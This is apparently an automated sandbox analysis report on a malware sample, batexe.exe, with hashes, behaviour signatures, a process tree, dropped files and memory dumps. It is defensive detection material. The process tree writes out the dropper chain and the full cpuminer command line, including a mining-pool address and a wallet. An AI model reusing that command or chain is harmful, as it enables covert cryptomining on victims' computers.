73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
298s
platform
windows10-1703_x64
resource
win10-20240214-ja
resource tags

arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
18/02/2024, 02:59

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
4768	b2e.exe
2680	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
2680	cpuminer-sse2.exe
2680	cpuminer-sse2.exe
2680	cpuminer-sse2.exe
2680	cpuminer-sse2.exe
2680	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/4456-5-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4456 wrote to memory of 4768	4456	batexe.exe	73
PID 4456 wrote to memory of 4768	4456	batexe.exe	73
PID 4456 wrote to memory of 4768	4456	batexe.exe	73
PID 4768 wrote to memory of 380	4768	b2e.exe	74
PID 4768 wrote to memory of 380	4768	b2e.exe	74
PID 4768 wrote to memory of 380	4768	b2e.exe	74
PID 380 wrote to memory of 2680	380	cmd.exe	77
PID 380 wrote to memory of 2680	380	cmd.exe	77

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4456
- C:\Users\Admin\AppData\Local\Temp\A42F.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\A42F.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\A42F.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4768
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\A9AD.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:380
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:2680

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\A42F.tmp\b2e.exe

Filesize
1.2MB

MD5
7b0f4c1d8506067fce25df5de733bcb7

SHA1
053b618c2012c6895e9709696395951acf15c165

SHA256
dd9a3eca69a73709146ebc228a433e0fef43ab6c12c2280725d798c7b494216a

SHA512
45ca44d04c436082073475b0bec73cdd3df1f0cc670d9a3d5dd77fc2b3b60ef870af5912d27269107222850b07234060eefb2d272b96de1367ff544cac506618

Download Submit
C:\Users\Admin\AppData\Local\Temp\A42F.tmp\b2e.exe

Filesize
630KB

MD5
128c600130558b0b068ce3c75fbdfa09

SHA1
3a4883f09b34b56cd994600a6730e29bb4c0bfc8

SHA256
999d34c10ffc307858524344e77712975255f70c1c10ee79ccd07f2b9d286e0b

SHA512
02a64d9818755f1f71a91dcd1f25e2ca259966910d361354d1f5a86971d425081fc2327cd3443cbed2aa08dd490e32c9efa61886719c392b953dd6ab0a1b2bd5

Download Submit
C:\Users\Admin\AppData\Local\Temp\A9AD.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.3MB

MD5
ef6837730cc1b789336e3ceefa7351a4

SHA1
eb828ec620e73090664325b405a09377b20292a9

SHA256
f7c12d64264a321d1aa72a55e04f8b1579dc3fd021d63488de5e6999f2fe072e

SHA512
d23badca14fa0c7f19822d4688ddba906bd2705687a67113378e87912ad2d662c07644bbeac36a7a41d52c81612357f7ca170aa5d3f33d926d151b3021bede88

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.5MB

MD5
fb45dbd748c5bea30f090085be8acb70

SHA1
bbd701b7ddf3d77b07d212ab91cf54161c1994c1

SHA256
62399597e1fec17bbbd82020e13695fa031c196b172f8043ca14e4f730241714

SHA512
1a548caf20ef266756f8cf2522a12d5ec2fb613a2ba109e6aa7f593a420b1313eab35cfa7159caa814095f786556bee55d91d48554ce7c2ff135336abc2134f2

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.0MB

MD5
82a2f6c389b1eccd123260eeb09ebf59

SHA1
f15713ac7296c53b95fe0f004de8e2d0f9254d8a

SHA256
29f169dc0794ee80f95669eb9b6a2deda528f4f40952b1c75cf3b75e49e41239

SHA512
e310f7c751fe8ec5213af782c79bf0e16f17386b2879d00d14ee5515d8ba80880ad26fe286e3ff676070b267a053dd81573418417d3c1663cfe8cb7bb6e85ec9

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.1MB

MD5
c89e863ce2221a0f49b45a55100e468c

SHA1
569ede311983a53a8f23f254fe37735538cbfa5e

SHA256
5ca5fb55f2e5ddee30c893b0e78d1ad59f593c2c3e5ecc155f14a088c65cfb46

SHA512
f65476f7353ef6ca7378752551c28736b61916cbf54f0a17b211a5a14ab93ddc2830a1d9c3cc1118117a23be95d49b06fc8a174d1a87f360ae4b96a6bbde04b0

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.3MB

MD5
1dc6f9f93efc2d720c1c2d8ce57eab2b

SHA1
5480b0c5655be073034f49ff153cc9f2f1069e88

SHA256
f59aac371242a46c20ec6d7a9d5b9a8cb4e77a7725ea14eb49cec4ec96a3c95f

SHA512
6020ba8f7ab270122248f1c14ea1e7feae3d86d20faafb149083eb5489e49555d3aac0a53081d66d75a324d4ad57ae282d42d9bd4dc3d8195577e6b8ab354568

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
844KB

MD5
99a9521fe6973506a1e1c115f725f4e1

SHA1
d9d845852d0db1e15ef2958e0b13c474dd792fa2

SHA256
4cd2de72802df01516548d89f1a8921443f8580ea8e667ff38bc1ec94419d6e5

SHA512
7088809b3abb07b40fc4b513a8ce0a8ae1531106e4e654f15a8c32699df1e0ceff546a1ed91162ac42f563cf9b533cf4cb2ef89e44c0a2de099e2a2ebaa8f146

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/2680-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2680-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2680-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2680-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/2680-42-0x000000005F240000-0x000000005F2D8000-memory.dmp

Filesize
608KB

Download
memory/2680-43-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/2680-44-0x0000000001140000-0x00000000029F5000-memory.dmp

Filesize
24.7MB

Download
memory/2680-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2680-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2680-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2680-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2680-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2680-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4456-5-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/4768-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4768-4-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download